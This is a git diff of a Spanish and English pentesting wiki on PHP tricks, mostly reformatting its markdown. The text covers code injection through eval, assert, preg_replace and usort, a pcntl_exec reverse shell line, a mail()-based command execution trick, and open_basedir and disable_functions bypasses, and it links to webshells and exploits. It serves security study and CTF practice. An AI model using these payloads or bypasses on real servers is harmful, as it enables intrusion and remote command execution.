ser que las register_globals estén activas (o se esté imitando su comportamiento). Esto implica que en variables globales como $\_GET si estas poseen un valor por ejemplo $\_GET\["param"]="1234", puedes acceder a este mediante $param. Por lo tanto, enviando parámetros de Get o Post se pueden sobreescribir variables que se usan dentro del código. -Las **variables de sesión** \(asociadas al **PHPSESSION**\) de un dominio se guardan en el mismo sitio, por lo tanto si dentro de un dominio se usan distintas cookies en distintos paths se puede hacer que un path acceda a la cookie del otro accediendo a dicho path con la cookie del otro. De esta forma si los dos paths acceden a una variable con el mismo nombre puedes hacer que el valor de dicha variable en el path1 se aplique al path2. Y entonces el path2 tomará como válidas las variables del path1 \(al ponerle a la cookie el nombre que le corresponde en el path2\). +Las **variables de sesión** (asociadas al **PHPSESSION**) de un dominio se guardan en el mismo sitio, por lo tanto si dentro de un dominio se usan distintas cookies en distintos paths se puede hacer que un path acceda a la cookie del otro accediendo a dicho path con la cookie del otro. De esta forma si los dos paths acceden a una variable con el mismo nombre puedes hacer que el valor de dicha variable en el path1 se aplique al path2. Y entonces el path2 tomará como válidas las variables del path1 (al ponerle a la cookie el nombre que le corresponde en el path2). -Dos usuarios generados a la vez pueden tener la misma cookie \(si la cookie depende del tiempo\). +Dos usuarios generados a la vez pueden tener la misma cookie (si la cookie depende del tiempo). -When you have the **usernames** of teh users of the machine. Check the address: **/~<USERNAME>** to see if the php directories are activated. +When you have the **usernames** of teh users of the machine. Check the address: **/\~\** to see if the php directories are activated. -\*\*\*\*[**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/)\*\*\*\* +****[**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/)**** -### **password\_hash/**password\_verify +### **password_hash/**password_verify -This functions are typically used in PHP to **generate hashes from passwords** and to to **check** if a password is correct compared with a hash. -The supported algorithms are: `PASSWORD_DEFAULT` and `PASSWORD_BCRYPT` \(starts with `$2y$`\). Note that **PASSWORD\_DEFAULT is frequently the same as PASSWORD\_BCRYPT.** And currently, **PASSWORD\_BCRYPT** has a **size limitation in the input of 72bytes**. Therefore, when you try to hash something larger than 72bytes with this algorithm only the first 72B will be used: +This functions are typically used in PHP to **generate hashes from passwords** and to to **check** if a password is correct compared with a hash.\ +The supported algorithms are: `PASSWORD_DEFAULT` and `PASSWORD_BCRYPT` (starts with `$2y$`). Note that **PASSWORD_DEFAULT is frequently the same as PASSWORD_BCRYPT. **And currently, **PASSWORD_BCRYPT **has a **size limitation in the input of 72bytes**. Therefore, when you try to hash something larger than 72bytes with this algorithm only the first 72B will be used: ```php $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW @@ -158,25 +158,25 @@ True ## Code execution -**system\("ls"\); -\`ls\`; -shell\_exec\("ls"\);** +**system("ls");**\ +**\`ls\`;**\ +**shell_exec("ls");** [Check this for more useful PHP functions](php-useful-functions-disable_functions-open_basedir-bypass/) -### **Code execution using** **preg\_replace\(\)** +### **Code execution using** **preg_replace()** ```php preg_replace(pattern,replace,base) preg_replace("/a/e","phpinfo()","whatever") ``` -To execute the code in the "replace" argument is needed at least one match. -This option of preg\_replace has been **deprecated as of PHP 5.5.0.** +To execute the code in the "replace" argument is needed at least one match.\ +This option of preg_replace has been **deprecated as of PHP 5.5.0.** -### **Code execution with Eval\(\)** +### **Code execution with Eval()** -```text +``` '.system('uname -a'); $dummy=' '.system('uname -a');# '.system('uname -a');// @@ -184,23 +184,23 @@ This option of preg\_replace has been **deprecated as of PHP 5.5.0.** ``` -### **Code execution with Assert\(\)** +### **Code execution with Assert()** -Esta función dentro de php permite ejecutar código que está escrito en un string con el objetivo de que se devuelva true o false \(y dependiendo de esto alterar la ejecución\). Por lo general se introducirá la variable del usuario entre medias de un string. Por ejemplo: assert\("strpos\($\_GET\['page'\]\),'..'\) === false"\) --> En este caso el payload para ejecutar un comando podría ser: +Esta función dentro de php permite ejecutar código que está escrito en un string con el objetivo de que se devuelva true o false (y dependiendo de esto alterar la ejecución). Por lo general se introducirá la variable del usuario entre medias de un string. Por ejemplo: assert("strpos($\_GET\['page']),'..') === false") --> En este caso el payload para ejecutar un comando podría ser: -```text +``` ?page=a','NeVeR') === false and system('ls') and strpos('a ``` -El caso es que hay que romper la query, ejecutar algo y volver a arreglarla \(para ello nos servimos del "and" o "%26%26" o "\|" --> el "or", "\|\|" no funcionan pues si la primera es cierta deja de ejecutar y el ";" no funciona pues solo ejecuta la primera parte\). +El caso es que hay que romper la query, ejecutar algo y volver a arreglarla (para ello nos servimos del "and" o "%26%26" o "|" --> el "or", "||" no funcionan pues si la primera es cierta deja de ejecutar y el ";" no funciona pues solo ejecuta la primera parte). -**Other option** is to add to the string the execution of the command: _'.highlight\_file\('.passwd'\).'_ +**Other option** is to add to the string the execution of the command: _'.highlight_file('.passwd').'_ -**Other option** \(if you have the internal code\) is to modify some variable to alter the execution: _$file = "hola"_ +**Other option** (if you have the internal code) is to modify some variable to alter the execution: _$file = "hola"_ -### **Code execution with usort\(\)** +### **Code execution with usort()** -This function is used to sort an array of items using an specific function. +This function is used to sort an array of items using an specific function.\ To abuse this function: ```php @@ -227,19 +227,19 @@ You can also use **//** to comment the rest of the code. To discover the number of parenthesis that you need to close: -* `?order=id;}//`: we get an error message \(`Parse error: syntax error, unexpected ';'`\). We are probably missing one or more brackets. +* `?order=id;}//`: we get an error message (`Parse error: syntax error, unexpected ';'`). We are probably missing one or more brackets. * `?order=id);}//`: we get a **warning**. That seems about right. -* `?order=id));}//`: we get an error message \(`Parse error: syntax error, unexpected ')' i`\). We probably have too many closing brackets. +* `?order=id));}//`: we get an error message (`Parse error: syntax error, unexpected ')' i`). We probably have too many closing brackets. ### **Code execution via .httaccess** -If you can **upload** a **.htaccess**, then you can **configure** several things and even execute code \(configuring that files with extension .htaccess can be **executed**\). +If you can **upload** a **.htaccess**, then you can **configure** several things and even execute code (configuring that files with extension .htaccess can be **executed**). Different .htaccess shells can be found [here](https://github.com/wireghoul/htshells) ## PHP Static analysis -Look if you can insert code in calls to these functions \(from [here](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)\): +Look if you can insert code in calls to these functions (from [here](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)): ```php exec, shell_exec, system, passthru, eval, popen @@ -251,7 +251,7 @@ If yo are debugging a PHP application you can globally enable error printing in` ### Deobfuscating PHP code -You can use the **web**[ **www.unphp.net**](http://www.unphp.net/) **to deobfuscate php code.** +You can use the **web**[** www.unphp.net**](http://www.unphp.net)** to deobfuscate php code.** ## Variable variables @@ -291,7 +291,7 @@ $___=$__; #Could be not needed inside eval $_($___); #If ¢___ not needed then $_($__), show_source(.passwd) ``` -### XOR Shellcode \(inside eval\) +### XOR Shellcode (inside eval) ```bash #!/bin/bash @@ -352,4 +352,3 @@ $____.=$__; $_=$$____; $___($_[_]); // ASSERT($_POST[_]); ``` - diff --git a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md b/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md index 205f6c6e..5346b978 100644 --- a/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md +++ b/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md @@ -1,4 +1,4 @@ -# PHP - Useful Functions & disable\_functions/open\_basedir bypass +# PHP - Useful Functions & disable_functions/open_basedir bypass ## PHP Command & Code Execution @@ -22,13 +22,13 @@ echo passthru("uname -a"); echo system("uname -a"); ``` -**shell\_exec** - Returns commands output +**shell_exec** - Returns commands output ```bash echo shell_exec("uname -a"); ``` -\`\` \(backticks\) - Same as shell\_exec\(\) +\`\` (backticks) - Same as shell_exec() ```bash echo `uname -a` @@ -40,25 +40,25 @@ echo `uname -a` echo fread(popen("/bin/ls /", "r"), 4096); ``` -**proc\_open** - Similar to popen\(\) but greater degree of control +**proc_open** - Similar to popen() but greater degree of control ```bash proc_close(proc_open("uname -a",array(),$something)); ``` -**preg\_replace** +**preg_replace** ```php ``` -**pcntl\_exec** - Executes a program \(by default in modern and not so modern PHP you need to load the `pcntl.so` module to use this function\) +**pcntl_exec** - Executes a program (by default in modern and not so modern PHP you need to load the `pcntl.so` module to use this function) ```bash pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]); ``` -**mail / mb\_send\_mail** - ****This function is used to send mails, but it can also be abused to inject arbitrary commands inside the `$options` parameter. This is because **php `mail` function** usually call `sendmail` binary inside the system and it allows you to **put extra options**. However, you won't be able to see the output of the executed command, so it's recommended to create shell script that writes the output to a file, execute it using mail, and print the output: +**mail / mb_send_mail **-** **This function is used to send mails, but it can also be abused to inject arbitrary commands inside the `$options` parameter. This is because **php `mail` function **usually call `sendmail` binary inside the system and it allows you to** put extra options**. However, you won't be able to see the output of the executed command, so it's recommended to create shell script that writes the output to a file, execute it using mail, and print the output: ```bash file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt'); @@ -68,37 +68,37 @@ file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA ### PHP Code Execution -Apart from eval there are other ways to execute PHP code: include/require can be used for remote code execution in the form of Local File Include and Remote File Include vulnerabilities. -**${<php code>}** - If your input gets reflected in any PHP string, it will be executed. -**eval\(\)** -**assert\(\)** - identical to eval\(\) -**preg\_replace\('/.\*/e',...\)** - /e does an eval\(\) on the match -**create\_function\(\)** - Create a function and use eval\(\) -**include\(\)** -**include\_once\(\)** -**require\(\)** -**require\_once\(\)** -**$\_GET\['func\_name'\]\($\_GET\['argument'\]\);** -**$func = new ReflectionFunction\($\_GET\['func\_name'\]\); -$func->invoke\(\);** or -**$func->invokeArgs\(array\(\)\); -serialize/unserialize** +Apart from eval there are other ways to execute PHP code: include/require can be used for remote code execution in the form of Local File Include and Remote File Include vulnerabilities.\ +**${\}** - If your input gets reflected in any PHP string, it will be executed.\ +**eval()**\ +**assert() **- identical to eval()\ +**preg_replace('/.\*/e',...)** - /e does an eval() on the match\ +**create_function() **- Create a function and use eval()\ +**include()**\ +**include_once()**\ +**require()**\ +**require_once()**\ +**$\_GET\['func_name']\($\_GET\['argument']);**\ +**$func = new ReflectionFunction($\_GET\['func_name']);**\ +**$func->invoke(); ** or\ +**$func->invokeArgs(array());**\ +**serialize/unserialize** -## disable\_functions & open\_basedir +## disable_functions & open_basedir -**Disabled functions** is the setting that can be configured in `.ini` files in PHP that will **forbid** the use of the indicated **functions**. **Open basedir** is the setting that indicates to PHP the folder that it can access. +**Disabled functions** is the setting that can be configured in `.ini` files in PHP that will **forbid **the use of the indicated **functions**. **Open basedir** is the setting that indicates to PHP the folder that it can access.\ The PHP setting sue to be configured in the path _/etc/php7/conf.d_ or similar. -Both configuration can be seen in the output of **`phpinfo()`**: +Both configuration can be seen in the output of**` phpinfo()`**: ![](https://0xrick.github.io/images/hackthebox/kryptos/17.png) -![](../../../../.gitbook/assets/image%20%28381%29.png) +![](<../../../../.gitbook/assets/image (347).png>) -## open\_basedir Bypass +## open_basedir Bypass -`open_basedir` will configure the folders that PHP can access, you **won't be able to to write/read/execute any file outside** those folders, but also you **won't even be able to list** other directories. -However, if somehow you are able to execute arbitrary PHP code you can **try** the following chunk of **codes** to try to **bypass** the restriction. +`open_basedir` will configure the folders that PHP can access, you **won't be able to to write/read/execute any file outside** those folders, but also you **won't even be able to list **other directories.\ +However, if somehow you are able to execute arbitrary PHP code you can **try **the following chunk of **codes **to try to **bypass **the restriction. ### Listing dirs with glob:// bypass @@ -121,20 +121,20 @@ foreach($file_list as $f){ } ``` -**Note1**: In the path you can also use `/e??/*` to list `/etc/*` and any other folder. -**Note2**: It looks like part of the code is duplicated, but that's actually necessary! +**Note1**: In the path you can also use `/e??/*` to list `/etc/*` and any other folder.\ +**Note2**: It looks like part of the code is duplicated, but that's actually necessary!\ **Note3**: This example is only useful to list folders not to read files -### Full open\_basedir bypass abusing FastCGI +### Full open_basedir bypass abusing FastCGI -If you want to **learn more about PHP-FPM and FastCGI** you can read the [first section of this page](disable_functions-bypass-php-fpm-fastcgi.md). -If **`php-fpm`** is configured you can abuse it to completely bypass **open\_basedir**: +If you want to **learn more about PHP-FPM and FastCGI **you can read the [first section of this page](disable_functions-bypass-php-fpm-fastcgi.md).\ +If **`php-fpm`** is configured you can abuse it to completely bypass **open_basedir**: -![](../../../../.gitbook/assets/image%20%28380%29.png) +![](<../../../../.gitbook/assets/image (350).png>) -![](../../../../.gitbook/assets/image%20%28382%29.png) +![](<../../../../.gitbook/assets/image (349).png>) -Note that the first thing you need to do is find where is the **unix socket of php-fpm**. It use to be under `/var/run` so you can **use the previous code to list the directory and find it**. +Note that the first thing you need to do is find where is the **unix socket of php-fpm**. It use to be under `/var/run` so you can **use the previous code to list the directory and find it**.\ Code from [here](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy). ```php @@ -488,19 +488,19 @@ echo $client->request($params, $code)."\n"; ?> ``` -This scripts will communicate with **unix socket of php-fpm** \(usually located in /var/run if fpm is used\) to execute arbitrary code. The `open_basedir` settings will be overwritten by the **PHP\_VALUE** attribute that is sent. -Note how `eval` is used to execute the PHP code you send inside the **cmd** parameter. -Also note the **commented line 324**, you can uncomment it and the **payload will automatically connect to the given URL and execute the PHP code** contained there. +This scripts will communicate with **unix socket of php-fpm** (usually located in /var/run if fpm is used) to execute arbitrary code. The `open_basedir` settings will be overwritten by the **PHP_VALUE **attribute that is sent.\ +Note how `eval` is used to execute the PHP code you send inside the **cmd **parameter.\ +Also note the **commented line 324**, you can uncomment it and the **payload will automatically connect to the given URL and execute the PHP code** contained there.\ Just access `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` to get the content of the `/etc/passwd` file. {% hint style="warning" %} -You may be thinking that just in the same way we have overwritten `open_basedir` configuration we can **overwrite `disable_functions`**. Well, try it, but it won't work, apparently **`disable_functions` can only be configured in a `.ini` php** configuration file and the changes you perform using PHP\_VALUE won't be effective on this specific setting. +You may be thinking that just in the same way we have overwritten `open_basedir` configuration we can** overwrite `disable_functions`**. Well, try it, but it won't work, apparently **`disable_functions` can only be configured in a `.ini` php **configuration file and the changes you perform using PHP_VALUE won't be effective on this specific setting. {% endhint %} -## disable\_functions Bypass +## disable_functions Bypass -If you manage have PHP code executing inside a machine you probably want to go to the next level and **execute arbitrary system commands**. In this situation is usual to discover that most or all the PHP **functions** that allow to **execute system commands have been disabled** in **`disable_functions`.** -So, lets see how you can bypass this restriction \(if you can\) +If you manage have PHP code executing inside a machine you probably want to go to the next level and **execute arbitrary system commands**. In this situation is usual to discover that most or all the PHP **functions **that allow to **execute system commands have been disabled **in **`disable_functions`.**\ +****So, lets see how you can bypass this restriction (if you can) ### Automatic bypass discovery @@ -510,17 +510,17 @@ You can use the tool [https://github.com/teambi0s/dfunc-bypasser](https://github Just return to the begging of this page and **check if any of the command executing functions isn't disabled and available in the environment**. If you find just 1 of them, you will be able to use it to execute arbitrary system commands. -### LD\_PRELOAD bypass +### LD_PRELOAD bypass It's well known that some functions in PHP like `mail()`are going to **execute binaries inside the system**. Therefore, you can abuse them using the environment variable `LD_PRELOAD` to make them load an arbitrary library that can execute anything. -#### Functions that can be used to bypass disable\_functions with LD\_PRELOAD +#### Functions that can be used to bypass disable_functions with LD_PRELOAD 1. `mail` -2. `mb_send_mail` : If your system has `php-mbstring` module installed then this function can be used to bypass php disable\_functions. -3. `imap_mail` : If your system has `php-imap` module installed then this function also can be used to bypass the php disable\_functions. -4. `libvirt_connect` : If your system has `php-libvirt-php` module installed then this function also can be used to bypass disable\_functions. -5. `gnupg_init` : If your system has `php-gnupg` module installed then this function also can be used to bypass disable\_functions. +2. `mb_send_mail` : If your system has `php-mbstring` module installed then this function can be used to bypass php disable_functions. +3. `imap_mail` : If your system has `php-imap` module installed then this function also can be used to bypass the php disable_functions. +4. `libvirt_connect` : If your system has `php-libvirt-php` module installed then this function also can be used to bypass disable_functions. +5. `gnupg_init` : If your system has `php-gnupg` module installed then this function also can be used to bypass disable_functions. 6. `new imagick()`: You can [**find here a writeup**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/) to learn how to abuse this class You can find [**here**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) the fuzzing script that was used to find those functions. @@ -542,11 +542,11 @@ uid_t getuid(void){ #### Bypass using Chankro -In order to abuse this misconfiguration you can [**Chankro**](https://github.com/TarlogicSecurity/Chankro). This is a tool that will **generate a PHP exploit** that you need to upload to the vulnerable server and execute it \(access it via web\). -**Chankro** will write inside the victims disc the **library and the reverse shell** you want to execute and will use the**`LD_PRELOAD` trick + PHP `mail()`** function to execute the reverse shell. +In order to abuse this misconfiguration you can [**Chankro**](https://github.com/TarlogicSecurity/Chankro). This is a tool that will **generate a PHP exploit **that you need to upload to the vulnerable server and execute it (access it via web).\ +**Chankro **will write inside the victims disc the **library and the reverse shell** you want to execute and will use the**`LD_PRELOAD` trick + PHP `mail()`** function to execute the reverse shell. -Note that in order to use **Chankro**, `mail` and `putenv` **cannot appear inside the `disable_functions` list**. -In the following example you can see how to **create a chankro exploit** for **arch 64**, that will execute `whoami` and save the out in _/tmp/chankro\_shell.out_, chankro will **write the library and the payload** in _/tmp_ and the **final exploit** is going to be called **bicho.php** \(that's the file you need to upload to the victims server\): +Note that in order to use **Chankro**, `mail` and `putenv` **cannot appear inside the `disable_functions` list**.\ +In the following example you can see how to** create a chankro exploit** for **arch 64**, that will execute `whoami` and save the out in _/tmp/chankro_shell.out_, chankro will **write the library and the payload** in _/tmp_ and the **final exploit **is going to be called **bicho.php** (that's the file you need to upload to the victims server): {% tabs %} {% tab title="shell.sh" %} @@ -563,22 +563,22 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php {% endtab %} {% endtabs %} -If you find that **mail** function is blocked by disabled functions, you may still be able to use the function **mb\_send\_mail.** -More information about this technique and Chankro here: [https://www.tarlogic.com/en/blog/how-to-bypass-disable\_functions-and-open\_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/) +If you find that **mail** function is blocked by disabled functions, you may still be able to use the function **mb_send_mail.**\ +More information about this technique and Chankro here: [https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/) ### "Bypass" using PHP capabilities -Note that using **PHP** you can **read and write files, create directories and change permissions**. -You can even **dump databases**. -Maybe using **PHP** to **enumerate** the box you can find a way to escalate privileges/execute commands \(for example reading some private ssh key\). +Note that using **PHP **you can** read and write files, create directories and change permissions**.\ +You can even **dump databases**.\ +Maybe using **PHP **to **enumerate **the box you can find a way to escalate privileges/execute commands (for example reading some private ssh key). -I have created a webshell that makes very easy to perform this actions \(note that most webshells will offer you this options also\): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited) +I have created a webshell that makes very easy to perform this actions (note that most webshells will offer you this options also): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited) ### Modules/Version dependent bypasses -There are several ways to bypass disable\_functions if some specific module is being used or exploit some specific PHP version: +There are several ways to bypass disable_functions if some specific module is being used or exploit some specific PHP version: -* \*\*\*\*[**This exploit**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass)\*\*\*\* +* ****[**This exploit**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass)**** * 5.\* - exploitable with minor changes to the PoC * 7.0 - all versions to date * 7.1 - all versions to date @@ -586,202 +586,201 @@ There are several ways to bypass disable\_functions if some specific module is b * 7.3 - all versions to date * 7.4 - all versions to date * 8.0 - all versions to date -* \*\*\*\*[**From 7.0 to 8.0 exploit \(Unix only\)**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php)\*\*\*\* -* [**FastCGI/PHP-FPM \(FastCGI Process Manager\)**](disable_functions-bypass-php-fpm-fastcgi.md)\*\*\*\* +* ****[**From 7.0 to 8.0 exploit (Unix only)**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php)**** +* [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable_functions-bypass-php-fpm-fastcgi.md)**** * **dl function** -* \*\*\*\*[**PHP 7.0=7.4 \(\*nix\)**](disable_functions-bypass-php-7.0-7.4-nix-only.md#php-7-0-7-4-nix-only)\*\*\*\* -* \*\*\*\*[**Imagick 3.3.0 PHP >= 5.4**](disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md)\*\*\*\* -* [**PHP 5.x Shellsock**](disable_functions-php-5.x-shellshock-exploit.md)\*\*\*\* -* \*\*\*\*[**PHP 5.2.4 ionCube**](disable_functions-php-5.2.4-ioncube-extension-exploit.md)\*\*\*\* -* \*\*\*\*[**PHP <= 5.2.9 Windows**](disable_functions-bypass-php-less-than-5.2.9-on-windows.md)\*\*\*\* -* \*\*\*\*[**PHP 5.2.4/5.2.5 cURL**](disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md)\*\*\*\* -* \*\*\*\*[**PHP Perl Extension Safe\_mode**](disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md)\*\*\*\* -* \*\*\*\*[**PHP 5.2.3 -Win32std**](disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md)\*\*\*\* -* \*\*\*\*[**PHP 5.2 FOpen exploit**](disable_functions-bypass-php-5.2-fopen-exploit.md)\*\*\*\* -* \*\*\*\*[**Bypass via mem**](disable_functions-bypass-via-mem.md)\*\*\*\* -* \*\*\*\*[**mod\_cgi**](disable_functions-bypass-mod_cgi.md)\*\*\*\* -* \*\*\*\*[**PHP 4 >= 4.2.-, PHP 5 pcntl\_exec**](disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md)\*\*\*\* +* ****[**PHP 7.0=7.4 (\*nix)**](disable_functions-bypass-php-7.0-7.4-nix-only.md#php-7-0-7-4-nix-only)**** +* ****[**Imagick 3.3.0 PHP >= 5.4**](disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md)**** +* [**PHP 5.x Shellsock**](disable_functions-php-5.x-shellshock-exploit.md)**** +* ****[**PHP 5.2.4 ionCube**](disable_functions-php-5.2.4-ioncube-extension-exploit.md)**** +* ****[**PHP <= 5.2.9 Windows**](disable_functions-bypass-php-less-than-5.2.9-on-windows.md)**** +* ****[**PHP 5.2.4/5.2.5 cURL**](disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md)**** +* ****[**PHP Perl Extension Safe_mode**](disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md)**** +* ****[**PHP 5.2.3 -Win32std**](disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md)**** +* ****[**PHP 5.2 FOpen exploit**](disable_functions-bypass-php-5.2-fopen-exploit.md)**** +* ****[**Bypass via mem**](disable_functions-bypass-via-mem.md)**** +* ****[**mod_cgi**](disable_functions-bypass-mod_cgi.md)**** +* ****[**PHP 4 >= 4.2.-, PHP 5 pcntl_exec**](disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md)**** ### **ALL IN ONE** -The code with more options mentioned here available I have found is [https://github.com/l3m0n/Bypass\_Disable\_functions\_Shell/blob/master/shell.php](https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php) +The code with more options mentioned here available I have found is [https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php](https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php) ## Other Interesting PHP functions ### List of functions which accept callbacks -These functions accept a string parameter which could be used to call a function of the attacker's choice. Depending on the function the attacker may or may not have the ability to pass a parameter. In that case an Information Disclosure function like phpinfo\(\) could be used. -Function => Position of callback arguments -'ob\_start' => 0, -'array\_diff\_uassoc' => -1, -'array\_diff\_ukey' => -1, -'array\_filter' => 1, -'array\_intersect\_uassoc' => -1, -'array\_intersect\_ukey' => -1, -'array\_map' => 0, -'array\_reduce' => 1, -'array\_udiff\_assoc' => -1, -'array\_udiff\_uassoc' => array\(-1, -2\), -'array\_udiff' => -1, -'array\_uintersect\_assoc' => -1, -'array\_uintersect\_uassoc' => array\(-1, -2\), -'array\_uintersect' => -1, -'array\_walk\_recursive' => 1, -'array\_walk' => 1, -'assert\_options' => 1, -'uasort' => 1, -'uksort' => 1, -'usort' => 1, -'preg\_replace\_callback' => 1, -'spl\_autoload\_register' => 0, -'iterator\_apply' => 1, -'call\_user\_func' => 0, -'call\_user\_func\_array' => 0, -'register\_shutdown\_function' => 0, -'register\_tick\_function' => 0, -'set\_error\_handler' => 0, -'set\_exception\_handler' => 0, -'session\_set\_save\_handler' => array\(0, 1, 2, 3, 4, 5\), -'sqlite\_create\_aggregate' => array\(2, 3\), -'sqlite\_create\_function' => 2, +These functions accept a string parameter which could be used to call a function of the attacker's choice. Depending on the function the attacker may or may not have the ability to pass a parameter. In that case an Information Disclosure function like phpinfo() could be used.\ +Function => Position of callback arguments\ +'ob_start' => 0,\ +'array_diff_uassoc' => -1,\ +'array_diff_ukey' => -1,\ +'array_filter' => 1,\ +'array_intersect_uassoc' => -1,\ +'array_intersect_ukey' => -1,\ +'array_map' => 0,\ +'array_reduce' => 1,\ +'array_udiff_assoc' => -1,\ +'array_udiff_uassoc' => array(-1, -2),\ +'array_udiff' => -1,\ +'array_uintersect_assoc' => -1,\ +'array_uintersect_uassoc' => array(-1, -2),\ +'array_uintersect' => -1,\ +'array_walk_recursive' => 1,\ +'array_walk' => 1,\ +'assert_options' => 1,\ +'uasort' => 1,\ +'uksort' => 1,\ +'usort' => 1,\ +'preg_replace_callback' => 1,\ +'spl_autoload_register' => 0,\ +'iterator_apply' => 1,\ +'call_user_func' => 0,\ +'call_user_func_array' => 0,\ +'register_shutdown_function' => 0,\ +'register_tick_function' => 0,\ +'set_error_handler' => 0,\ +'set_exception_handler' => 0,\ +'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),\ +'sqlite_create_aggregate' => array(2, 3),\ +'sqlite_create_function' => 2, ### Information Disclosure -Most of these function calls are not sinks. But rather it maybe a vulnerability if any of the data returned is viewable to an attacker. If an attacker can see phpinfo\(\) it is definitely a vulnerability. -**phpinfo** -**posix\_mkfifo** -**posix\_getlogin** -**posix\_ttyname** -**getenv** -**get\_current\_user** -**proc\_get\_status** -**get\_cfg\_var** -**disk\_free\_space** -**disk\_total\_space** -**diskfreespace** -**getcwd** -**getlastmo** -**getmygid** -**getmyinode** -**getmypid** +Most of these function calls are not sinks. But rather it maybe a vulnerability if any of the data returned is viewable to an attacker. If an attacker can see phpinfo() it is definitely a vulnerability.\ +**phpinfo**\ +**posix_mkfifo**\ +**posix_getlogin**\ +**posix_ttyname**\ +**getenv**\ +**get_current_user**\ +**proc_get_status**\ +**get_cfg_var**\ +**disk_free_space**\ +**disk_total_space**\ +**diskfreespace**\ +**getcwd**\ +**getlastmo**\ +**getmygid**\ +**getmyinode**\ +**getmypid**\ **getmyuid** ### Other -**extract** - Opens the door for register\_globals attacks \(see study in scarlet\). -**parse\_str** - works like extract if only one argument is given. -putenv -**ini\_set** -**mail** - has CRLF injection in the 3rd parameter, opens the door for spam. -**header** - on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header\("location: ..."\); and they do not die\(\);. The script keeps executing after a call to header\(\), and will still print output normally. This is nasty if you are trying to protect an administrative area. -**proc\_nice** -**proc\_terminate** -**proc\_close** -**pfsockopen** -**fsockopen** -**apache\_child\_terminate** -**posix\_kill** -**posix\_mkfifo** -**posix\_setpgid** -**posix\_setsid** -**posix\_setuid** +**extract** - Opens the door for register_globals attacks (see study in scarlet).\ +**parse_str** - works like extract if only one argument is given.\ +putenv\ +**ini_set**\ +**mail** - has CRLF injection in the 3rd parameter, opens the door for spam.\ +**header** - on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.\ +**proc_nice**\ +**proc_terminate**\ +**proc_close**\ +**pfsockopen**\ +**fsockopen**\ +**apache_child_terminate**\ +**posix_kill**\ +**posix_mkfifo**\ +**posix_setpgid**\ +**posix_setsid**\ +**posix_setuid** ### Filesystem Functions -According to RATS all filesystem functions in php are nasty. Some of these don't seem very useful to the attacker. Others are more useful than you might think. For instance if allow\_url\_fopen=On then a url can be used as a file path, so a call to copy\($\_GET\['s'\], $\_GET\['d'\]\); can be used to upload a PHP script anywhere on the system. Also if a site is vulnerable to a request send via GET everyone of those file system functions can be abused to channel and attack to another host through your server. +According to RATS all filesystem functions in php are nasty. Some of these don't seem very useful to the attacker. Others are more useful than you might think. For instance if allow_url_fopen=On then a url can be used as a file path, so a call to copy($\_GET\['s'], $\_GET\['d']); can be used to upload a PHP script anywhere on the system. Also if a site is vulnerable to a request send via GET everyone of those file system functions can be abused to channel and attack to another host through your server. **Open filesystem handler** -**fopen** -**tmpfile** -**bzopen** -**gzopen** -**SplFileObject**->\_\_construct +**fopen**\ +**tmpfile**\ +**bzopen**\ +**gzopen**\ +**SplFileObject**->\__construct -**Write to filesystem \(partially in combination with reading\)** +**Write to filesystem (partially in combination with reading)** -**chgrp** -**chmod** -**chown** -**copy** -**file\_put\_contents** -**lchgrp** -**lchown** -**link** -**mkdir** -**move\_uploaded\_file** -**rename** -**rmdir** -**symlink** 